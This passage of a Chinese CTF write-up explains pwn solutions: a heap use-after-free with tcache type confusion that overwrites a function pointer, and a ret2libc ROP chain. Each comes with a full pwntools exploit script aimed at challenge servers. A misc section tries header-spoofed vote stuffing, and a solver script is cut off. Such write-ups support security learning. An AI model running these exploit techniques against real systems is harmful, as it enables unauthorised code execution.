&lt;li&gt;PIE: No PIE (代码段地址固定，利于利用)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. 程序功能&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是一个经典的堆菜单题（Heap Note Manager），主要功能如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Create Note&lt;/strong&gt;: 创建笔记。先申请 &lt;code&gt;0x18&lt;/code&gt; 字节的结构体，再根据用户输入的大小申请内容堆块。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Edit Note&lt;/strong&gt;: 编辑笔记内容。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delete Note&lt;/strong&gt;: 删除笔记。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;View Note&lt;/strong&gt;: 查看笔记。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;3. 漏洞分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过逆向分析 &lt;code&gt;delete_note&lt;/code&gt; 函数，我们发现程序在 &lt;code&gt;free&lt;/code&gt; 掉结构体指针和内容指针后，&lt;strong&gt;没有将全局数组 &lt;code&gt;notes&lt;/code&gt; 中的指针置空&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// delete_note 伪代码逻辑
free(notes[index]-&amp;gt;content);
free(notes[index]);
// 缺少 notes[index] = NULL; 导致悬挂指针
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这导致了 &lt;strong&gt;Use-After-Free (UAF)&lt;/strong&gt; 漏洞。我们可以继续通过 &lt;code&gt;view_note&lt;/code&gt; 或 &lt;code&gt;edit_note&lt;/code&gt; 访问已经被释放的内存。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 结构体分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过分析 &lt;code&gt;create_note&lt;/code&gt;，我们可以还原出 Note 的结构体：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct Note {
    int size;                   // 偏移 0x00
    char *content;              // 偏移 0x08
    void (*print_func)(char *); // 偏移 0x10 (函数指针)
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;值得注意的是，每个 Note 都有一个函数指针 &lt;code&gt;print_func&lt;/code&gt;，默认指向 &lt;code&gt;default_print&lt;/code&gt;。在 &lt;code&gt;view_note&lt;/code&gt; 时，程序会直接调用这个函数指针来输出内容。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;利用点&lt;/strong&gt;: 如果我们能覆盖这个函数指针，将其指向后门函数，就能劫持控制流。&lt;/p&gt;
&lt;p&gt;目标是覆盖 &lt;code&gt;notes[0]-&amp;gt;print_func&lt;/code&gt; 为后门函数 &lt;code&gt;win&lt;/code&gt; (&lt;code&gt;0x401236&lt;/code&gt;)。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Tcache 机制&lt;/strong&gt;: 小于 &lt;code&gt;0x420&lt;/code&gt; 字节的 chunk 释放后会进入 Tcache。Tcache 是后进先出 (LIFO) 的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;构造堆布局&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;申请两个 Note (Note 0, Note 1)，大小设为 &lt;code&gt;100&lt;/code&gt; (避免内容 chunk 和结构体 chunk 混在同一个 bin 里，不过这里结构体固定是 &lt;code&gt;0x20&lt;/code&gt; 大小的 chunk)。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;create_note&lt;/code&gt; 时，会先 &lt;code&gt;malloc(0x18)&lt;/code&gt; (结构体，实际分配 &lt;code&gt;0x20&lt;/code&gt;)，再 &lt;code&gt;malloc(size)&lt;/code&gt; (内容)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;触发 Free&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;delete_note(0)&lt;/code&gt;: 释放 Note 0 的 Content 和 Struct。Struct 0 进入 Tcache(0x20)。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;delete_note(1)&lt;/code&gt;: 释放 Note 1 的 Content 和 Struct。Struct 1 进入 Tcache(0x20)。&lt;/li&gt;
&lt;li&gt;此时 Tcache(0x20) 链表: &lt;code&gt;Struct 1 -&amp;gt; Struct 0&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;类型混淆 (Type Confusion)&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;申请一个新的 Note (Note 2)，&lt;strong&gt;关键点是将内容大小也设为 &lt;code&gt;24&lt;/code&gt;&lt;/strong&gt; (请求 24 字节，系统会分配 &lt;code&gt;0x20&lt;/code&gt; 的 chunk)。&lt;/li&gt;
&lt;li&gt;分配过程：
&lt;ol&gt;
&lt;li&gt;分配 Note 2 的 &lt;strong&gt;结构体&lt;/strong&gt; (&lt;code&gt;0x18&lt;/code&gt;)：拿到 Tcache 里的第一个块 (原 Struct 1)。&lt;/li&gt;
&lt;li&gt;分配 Note 2 的 &lt;strong&gt;内容&lt;/strong&gt; (&lt;code&gt;24&lt;/code&gt;)：拿到 Tcache 里的第二个块 (原 &lt;strong&gt;Struct 0&lt;/strong&gt;)。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;现在，&lt;strong&gt;Note 2 的内容指针指向了 Note 0 的结构体所在的内存！&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;劫持控制流&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;向 Note 2 写入数据，实际上就是向 Note 0 的结构体写入数据。&lt;/li&gt;
&lt;li&gt;构造 payload：填充 16 字节 (覆盖 &lt;code&gt;size&lt;/code&gt; 和 &lt;code&gt;content&lt;/code&gt; 指针) + &lt;code&gt;win&lt;/code&gt; 函数地址。&lt;/li&gt;
&lt;li&gt;这样 Note 0 的 &lt;code&gt;print_func&lt;/code&gt; 指针就被修改为了 &lt;code&gt;win&lt;/code&gt; 函数地址。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;触发后门&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;调用 &lt;code&gt;view_note(0)&lt;/code&gt;。程序使用悬挂指针 &lt;code&gt;notes[0]&lt;/code&gt;，读取被修改的函数指针并执行，从而获得 Shell。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

# 连接远程环境
r = remote(&apos;150.138.81.18&apos;, 11112)

# 定义交互函数
def create_note(size, content):
    r.sendlineafter(b&apos;Choice: &apos;, b&apos;1&apos;)
    r.sendlineafter(b&apos;Size: &apos;, str(size).encode())
    r.sendlineafter(b&apos;Content: &apos;, content)

def delete_note(index):
    r.sendlineafter(b&apos;Choice: &apos;, b&apos;3&apos;)
    r.sendlineafter(b&apos;Index: &apos;, str(index).encode())

def view_note(index):
    r.sendlineafter(b&apos;Choice: &apos;, b&apos;4&apos;)
    r.sendlineafter(b&apos;Index: &apos;, str(index).encode())

# 后门函数地址
win_addr = 0x401236

# 1. 创建两个 Note
# Note 0: Struct A, Content B
create_note(100, b&quot;AAAA&quot;)
# Note 1: Struct C, Content D
create_note(100, b&quot;BBBB&quot;)

# 2. 删除 Note，将结构体 Chunk 放入 Tcache(0x20)
# delete 0 -&amp;gt; Tcache: A
delete_note(0)
# delete 1 -&amp;gt; Tcache: C -&amp;gt; A
delete_note(1)

# 3. 申请 Note 2，利用类型混淆
# 申请 Struct 2 (0x18) -&amp;gt; 拿到 C
# 申请 Content 2 (24)  -&amp;gt; 拿到 A (即 Note 0 的结构体)
# 我们写入的内容会覆盖 Note 0 的结构体
# 结构体布局: [size (8)] [content_ptr (8)] [func_ptr (8)]
# Payload: 16字节填充 + win函数地址
payload = b&quot;A&quot; * 16 + p64(win_addr)
create_note(24, payload)

# 4. 查看 Note 0 触发利用
# Note 0 已经被释放，但指针未清空 (UAF)
# view_note 会调用 notes[0]-&amp;gt;print_func，此时已被修改为 win
r.sendlineafter(b&apos;Choice: &apos;, b&apos;4&apos;)
r.sendlineafter(b&apos;Index: &apos;, b&apos;0&apos;)

# 5. 获取 Shell
r.sendline(b&apos;cat flag&apos;)
r.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PWN7&lt;/h2&gt;
&lt;p&gt;题目信息&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;题目名称&lt;/strong&gt;: PWN7&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;题目类型&lt;/strong&gt;: CTF Pwn (Stack Buffer Overflow)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;架构&lt;/strong&gt;: x86-64 (amd64)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;1. 逆向分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先使用 &lt;code&gt;checksec&lt;/code&gt; 检查程序的保护机制：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;保护分析&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No Canary&lt;/strong&gt;: 栈溢出时没有 Canary 检查，利用简单。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No PIE&lt;/strong&gt;: 代码段地址固定，方便寻找 ROP gadgets。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NX Enabled&lt;/strong&gt;: 栈不可执行，无法直接在栈上运行 shellcode，需要使用 ROP。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;漏洞点&lt;/strong&gt;:
通过 IDA 或 objdump 分析二进制文件，发现 &lt;code&gt;main&lt;/code&gt; 函数调用了一个子函数（地址 &lt;code&gt;0x4011f6&lt;/code&gt;），该函数存在明显的栈溢出漏洞：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;缓冲区大小：约为 14 字节（&lt;code&gt;rbp-0xe&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;读取输入：使用 &lt;code&gt;read(0, buf, 0x100)&lt;/code&gt; 读取了 256 字节。&lt;/li&gt;
&lt;li&gt;溢出空间：&lt;code&gt;0x100 - 14 = 242&lt;/code&gt; 字节，足够构造 ROP 链。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. 利用思路 (Exploit Strategy)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于开启了 NX 保护且没有后门函数，我们需要采用 &lt;strong&gt;Ret2Libc&lt;/strong&gt; 的攻击方式。&lt;/p&gt;
&lt;p&gt;第一步：泄漏 Libc 地址&lt;/p&gt;
&lt;p&gt;利用 &lt;code&gt;puts&lt;/code&gt; 函数打印 &lt;code&gt;puts&lt;/code&gt; 在 GOT 表中的真实地址。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;构造 ROP 链：&lt;code&gt;pop_rdi_ret&lt;/code&gt; -&amp;gt; &lt;code&gt;got_puts&lt;/code&gt; -&amp;gt; &lt;code&gt;plt_puts&lt;/code&gt; -&amp;gt; &lt;code&gt;main_addr&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;这里的 &lt;code&gt;main_addr&lt;/code&gt; 是为了在泄漏地址后让程序重新执行，以便我们再次进行溢出攻击。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;第二步：计算并执行 System&lt;/p&gt;
&lt;p&gt;根据泄漏的 &lt;code&gt;puts&lt;/code&gt; 地址，我们可以确定远程环境使用的 Libc 版本，并计算出 &lt;code&gt;system&lt;/code&gt; 函数和 &lt;code&gt;/bin/sh&lt;/code&gt; 字符串的内存地址。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Libc 基址 = &lt;code&gt;leaked_puts&lt;/code&gt; - &lt;code&gt;offset_puts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;system_addr&lt;/code&gt; = Libc 基址 + &lt;code&gt;offset_system&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bin_sh_addr&lt;/code&gt; = Libc 基址 + &lt;code&gt;offset_str_bin_sh&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;第三步：获取 Shell&lt;/p&gt;
&lt;p&gt;再次发送 Payload 调用 &lt;code&gt;system(&quot;/bin/sh&quot;)&lt;/code&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;构造 ROP 链：&lt;code&gt;pop_rdi_ret&lt;/code&gt; -&amp;gt; &lt;code&gt;bin_sh_addr&lt;/code&gt; -&amp;gt; &lt;code&gt;ret&lt;/code&gt; (用于栈对齐) -&amp;gt; &lt;code&gt;system_addr&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注意&lt;/strong&gt;：在 x86-64 系统中，调用 &lt;code&gt;system&lt;/code&gt; 时栈必须按 16 字节对齐。如果直接调用可能会崩溃，因此我们加入一个单纯的 &lt;code&gt;ret&lt;/code&gt; gadget 来调整栈指针。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. Libc 版本识别&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过泄漏的地址（通常以 &lt;code&gt;e50&lt;/code&gt; 结尾），结合工具或尝试，确定远程环境为 &lt;strong&gt;Ubuntu 22.04 (glibc 2.35)&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;puts&lt;/code&gt; 偏移: &lt;code&gt;0x80e50&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/bin/sh&lt;/code&gt; 偏移: &lt;code&gt;0x1d8678&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;system&lt;/code&gt; 偏移: &lt;code&gt;0x50d70&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;exp&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

# 设置环境上下文
context.arch = &apos;amd64&apos;
context.log_level = &apos;info&apos;

# 题目连接信息
host = &apos;150.138.81.18&apos;
port = 10265

# ---------------------------
# 1. 地址与 Gadgets 定义
# ---------------------------
# 从二进制文件中找到的 Gadgets
pop_rdi = 0x4016c1
ret_gadget = 0x4016c2

# PLT 和 GOT 表地址
puts_plt = 0x4010a0
puts_got = 0x404018
main_addr = 0x4012ab  # 重新跳转回 main

# Libc 偏移 (基于 Ubuntu 22.04 / glibc 2.35)
offset_puts = 0x80e50
offset_str_bin_sh = 0x1d8678
offset_system = 0x50d70

# 连接远程服务
p = remote(host, port)

# ---------------------------
# 2. Payload 1: 泄漏 Libc 地址
# ---------------------------
p.recvuntil(b&apos;Input something: &apos;)

# 偏移量计算: 14 字节缓冲 + 8 字节 Saved RBP = 22 字节
offset = 22
payload1 = b&apos;A&apos; * offset
payload1 += p64(pop_rdi)
payload1 += p64(puts_got)       # rdi = puts_got
payload1 += p64(puts_plt)       # call puts
payload1 += p64(main_addr)      # return to main

print(&quot;[-] Sending Payload 1 to leak libc...&quot;)
p.sendline(payload1)

# 解析输出
content = p.recvuntil(b&apos;Welcome!\n&apos;)
# 查找 Welcome! 之前的数据，提取泄漏的地址
idx = content.find(b&apos;Welcome!&apos;)
# puts 输出地址后会有换行符，取前 6 字节
leak_bytes = content[idx-7:idx-1]
leak_puts = u64(leak_bytes.ljust(8, b&apos;\x00&apos;))
print(f&quot;[+] Leaked puts address: {hex(leak_puts)}&quot;)

# 计算基址
libc_base = leak_puts - offset_puts
print(f&quot;[+] Libc Base: {hex(libc_base)}&quot;)

# 计算 System 和 /bin/sh 地址
system_addr = libc_base + offset_system
bin_sh_addr = libc_base + offset_str_bin_sh
print(f&quot;[+] System Address: {hex(system_addr)}&quot;)
print(f&quot;[+] /bin/sh Address: {hex(bin_sh_addr)}&quot;)

# ---------------------------
# 3. Payload 2: Get Shell
# ---------------------------
p.recvuntil(b&apos;Input something: &apos;)

payload2 = b&apos;A&apos; * offset
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh_addr)    # rdi = &quot;/bin/sh&quot;
payload2 += p64(ret_gadget)     # Stack Alignment (16 bytes)
payload2 += p64(system_addr)    # call system

print(&quot;[-] Sending Payload 2 to get shell...&quot;)
p.sendline(payload2)

# 交互模式
p.sendline(b&apos;cat flag&apos;)
p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PWN6&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. 基本信息&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文件&lt;/strong&gt;: &lt;code&gt;pwn_chall&lt;/code&gt; (原名 &lt;code&gt;pwn (1)&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;架构&lt;/strong&gt;: x86-64 ELF&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保护机制&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;RELRO&lt;/strong&gt;: Partial RELRO (GOT表可写)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Canary&lt;/strong&gt;: 无 (No Canary)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NX&lt;/strong&gt;: 开启 (堆栈不可执行)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PIE&lt;/strong&gt;: 关闭 (No PIE, 代码段地址固定)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. 程序功能&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是一个经典的堆管理器 (Heap Manager) 题目，提供了以下功能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Create Note&lt;/strong&gt;: 分配两个堆块。
&lt;ul&gt;
&lt;li&gt;结构体 chunk (0x18 bytes -&amp;gt; malloc 实际上分配 0x20)。&lt;/li&gt;
&lt;li&gt;内容 chunk (用户指定大小)。&lt;/li&gt;
&lt;li&gt;结构体包含：&lt;code&gt;size&lt;/code&gt; (4 bytes), &lt;code&gt;content_ptr&lt;/code&gt; (8 bytes), &lt;code&gt;print_func_ptr&lt;/code&gt; (8 bytes)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Edit Note&lt;/strong&gt;: 修改指定 index 的 Note 内容。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delete Note&lt;/strong&gt;: 释放 Note 的结构体和内容 chunk。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;View Note&lt;/strong&gt;: 调用结构体中的 &lt;code&gt;print_func_ptr&lt;/code&gt; 函数指针来打印内容。默认函数是 &lt;code&gt;default_print&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;3. 漏洞点 (Vulnerability)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;delete_note&lt;/code&gt; 函数中，虽然调用了 &lt;code&gt;free&lt;/code&gt; 释放了堆块，但是&lt;strong&gt;没有将全局数组 &lt;code&gt;notes&lt;/code&gt; 中的指针置空 (NULL)&lt;/strong&gt;。
这导致了一个 &lt;strong&gt;Use-After-Free (UAF)&lt;/strong&gt; 漏洞。我们可以继续对已经释放的 Note 进行 &lt;code&gt;Edit&lt;/code&gt; 和 &lt;code&gt;View&lt;/code&gt; 操作。&lt;/p&gt;
&lt;p&gt;我们的目标是劫持程序的控制流。由于程序中存在一个后门函数 &lt;code&gt;win&lt;/code&gt; (地址 &lt;code&gt;0x401236&lt;/code&gt;)，我们只需要想办法调用它即可。
Note 结构体中有一个函数指针 &lt;code&gt;print_func&lt;/code&gt;，在 &lt;code&gt;View Note&lt;/code&gt; 时会被调用。利用 UAF 和堆内存布局的特性，我们可以覆盖这个指针。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;步骤 1: 堆布局 (Heap Layout)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们利用 glibc 的 &lt;strong&gt;Tcache&lt;/strong&gt; 机制。Tcache 是后进先出 (LIFO) 的。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;申请两个 Note (Note 0, Note 1)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;内容大小设为 &lt;code&gt;0x38&lt;/code&gt;，这样内容 chunk 的大小为 &lt;code&gt;0x40&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;结构体 chunk 固定为 &lt;code&gt;0x20&lt;/code&gt; (malloc 0x18)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;释放这两个 Note&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;此时 Tcache (0x20) 链表: &lt;code&gt;Struct_1 -&amp;gt; Struct_0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;此时 Tcache (0x40) 链表: &lt;code&gt;Content_1 -&amp;gt; Content_0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;notes[0]&lt;/code&gt; 仍然指向 &lt;code&gt;Struct_0&lt;/code&gt; (悬挂指针)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;申请一个新的 Note (Note 2)&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;我们申请内容大小为 &lt;code&gt;0x18&lt;/code&gt; (即内容 chunk 大小为 &lt;code&gt;0x20&lt;/code&gt;)。&lt;/li&gt;
&lt;li&gt;系统首先申请结构体 (0x20): 从 Tcache (0x20) 拿走 &lt;code&gt;Struct_1&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;系统接着申请内容 (0x20): 从 Tcache (0x20) 拿走 &lt;code&gt;Struct_0&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关键点&lt;/strong&gt;: Note 2 的&lt;strong&gt;内容 chunk&lt;/strong&gt; 现在正好占据了原 Note 0 的&lt;strong&gt;结构体 chunk&lt;/strong&gt; 的内存位置！&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;步骤 2: 篡改函数指针 (Overwriting Function Pointer)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于 Note 2 的内容就是 Note 0 的结构体，我们可以通过 &lt;code&gt;Edit Note 2&lt;/code&gt; 来修改 Note 0 的结构体数据。&lt;/p&gt;
&lt;p&gt;Note 结构体布局:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Offset 0x00: Size&lt;/li&gt;
&lt;li&gt;Offset 0x08: Content Pointer&lt;/li&gt;
&lt;li&gt;Offset 0x10: &lt;strong&gt;Print Function Pointer&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们构造 payload：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;填充前 16 字节 (0x10 bytes)。&lt;/li&gt;
&lt;li&gt;写入 &lt;code&gt;win&lt;/code&gt; 函数的地址 (&lt;code&gt;0x401236&lt;/code&gt;) 到偏移 0x10 处。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;步骤 3: 触发后门 (Triggering Win)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;调用 &lt;code&gt;View Note 0&lt;/code&gt;。
程序会尝试读取 &lt;code&gt;notes[0]&lt;/code&gt; (即 &lt;code&gt;Struct_0&lt;/code&gt;)，并调用其中的函数指针。由于我们已经将其修改为 &lt;code&gt;win&lt;/code&gt; 函数地址，程序将执行 &lt;code&gt;win()&lt;/code&gt;，从而获得 shell。&lt;/p&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

# 配置
context.arch = &apos;amd64&apos;
win_addr = 0x401236

# 连接远程
io = remote(&apos;150.138.81.18&apos;, 12458)

def create_note(size, content):
    io.sendlineafter(b&apos;Choice: &apos;, b&apos;1&apos;)
    io.sendlineafter(b&apos;Size: &apos;, str(size).encode())
    io.sendafter(b&apos;Content: &apos;, content)

def edit_note(index, content):
    io.sendlineafter(b&apos;Choice: &apos;, b&apos;2&apos;)
    io.sendlineafter(b&apos;Index: &apos;, str(index).encode())
    io.sendafter(b&apos;New content: &apos;, content)

def delete_note(index):
    io.sendlineafter(b&apos;Choice: &apos;, b&apos;3&apos;)
    io.sendlineafter(b&apos;Index: &apos;, str(index).encode())

def view_note(index):
    io.sendlineafter(b&apos;Choice: &apos;, b&apos;4&apos;)
    io.sendlineafter(b&apos;Index: &apos;, str(index).encode())

log.info(&quot;=== 开始利用 ===&quot;)

# 1. 申请两个 Note，内容大小为 0x38 (对应 0x40 的 chunk)
# 结构体 chunk 总是 0x20
log.info(&quot;创建 Note 0 和 Note 1&quot;)
create_note(0x38, b&apos;A&apos;*0x38) 
create_note(0x38, b&apos;B&apos;*0x38)

# 2. 释放它们，填入 Tcache
log.info(&quot;删除 Note 0 和 Note 1&quot;)
delete_note(0)
delete_note(1)

# 3. 申请 Note 2，内容大小为 0x18 (对应 0x20 的 chunk)
# Malloc(Struct 0x18) -&amp;gt; 取出原 Struct_1
# Malloc(Content 0x18) -&amp;gt; 取出原 Struct_0
# 此时：Note 2 的 Content 指向了 Note 0 的 Struct
log.info(&quot;创建 Note 2，使其内容覆盖 Note 0 的结构体&quot;)
create_note(0x18, b&apos;C&apos;*0x18)

# 4. 编辑 Note 2，覆盖 Note 0 结构体中的函数指针
# 结构体偏移 0x10 处是函数指针
log.info(&quot;篡改 Note 0 的函数指针为 win 函数地址&quot;)
payload = b&apos;A&apos;*16 + p64(win_addr)
edit_note(2, payload)

# 5. 查看 Note 0，触发被篡改的函数指针
log.info(&quot;触发 View Note 0 -&amp;gt; 执行 win()&quot;)
view_note(0)

# 发送 shell 命令并获取 flag
io.sendline(b&apos;cat flag&apos;)
io.recvuntil(b&apos;HSCCTF&apos;)
flag = b&apos;HSCCTF&apos; + io.recvline()
log.success(f&quot;Flag obtained: {flag.decode().strip()}&quot;)

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;MISC&lt;/h1&gt;
&lt;h2&gt;Harris&lt;/h2&gt;
&lt;p&gt;这道题怪怪的&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;初始票数 : 哈里斯 0 票，特朗普 0 票，我点了一下特朗普。&lt;/li&gt;
&lt;li&gt;倒计时 : 页面底部有一个倒计时。&lt;/li&gt;
&lt;li&gt;逻辑推测 : 题目可能要求我们改变投票结果，或者等待选举结束查看结果。 2. 尝试过程 (Attempts)
我们首先尝试通过脚本进行投票，试图增加哈里斯的票数来逆转结果：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;常规投票 : 发送 GET /vote/person1 ，服务器返回 302 跳转回主页，但票数未增加。&lt;/li&gt;
&lt;li&gt;IP 伪造 : 猜测后端可能有 IP 限制（即每个 IP 只能投一票），我们在 HTTP 头中添加了 X-Forwarded-For , Client-IP 等字段并使用随机 IP 进行爆破。&lt;/li&gt;
&lt;li&gt;并发攻击 : 尝试使用多线程并发请求。&lt;/li&gt;
&lt;li&gt;其他尝试 : 修改 User-Agent、Cookie 等。
结果 : 所有投票尝试均未改变票数（始终保持 0:1）。这可能意味着投票功能被服务端禁用，或者是假的接口，亦或是不仅验证 IP 还验证了其他复杂的指纹（或者仅仅是设定好的剧情）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但是怪怪的我没看出来就放了一会 ，再回来刷新一下就有flag了，怀疑是服务器后端逻辑判断时间已到 ( remainingTime &amp;lt;= 0 )，且特朗普票数 (1) &amp;gt; 哈里斯票数 (0)，输出胜利页面及 Flag。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://c.img.dasctf.com/LightPicture/2026/04/1c58dc2426abaac1.png&quot; alt=&quot;image-20251205215337066&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;CALC&lt;/h2&gt;
&lt;p&gt;做出500道数学题
exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
import re
import time

HOST = &apos;150.138.81.18&apos;
PORT = 12903

context.log_level = &apos;info&apos; # Switch back to info to reduce noise, or debug if needed

def solve():
    while True:
        try:
            log.info(f&quot;Connecting to {HOST}:{PORT}...&quot;)
            r = remote(HOST, PORT, timeout=10)
            break
        except Exception as e:
            log.warning(f&quot;Connection failed: {e}&quot;)
            time.sleep(2)

    buffer = &quot;&quot;
    count = 0
    
    while True:
        try:
            data = r.recv(timeout=5)
            if not data:
                if not r.connected():
                    log.info(&quot;Connection closed.&quot;)
                    break
                continue
                
            buffer += data.decode(errors=&apos;ignore&apos;)
            
            # Check for flag pattern specifically
            if &quot;flag{&quot; in buffer.lower() or &quot;ctf{&quot; in buffer.lower():
                print(&quot;\n[+] Found potential flag!&quot;)
                print(buffer)
                try:
                    print(r.recvall(timeout=2).decode(errors=&apos;ignore&apos;))
                except:
                    pass
                return

            while &quot;?&quot; in buffer:
                q_idx = buffer.find(&apos;?&apos;)
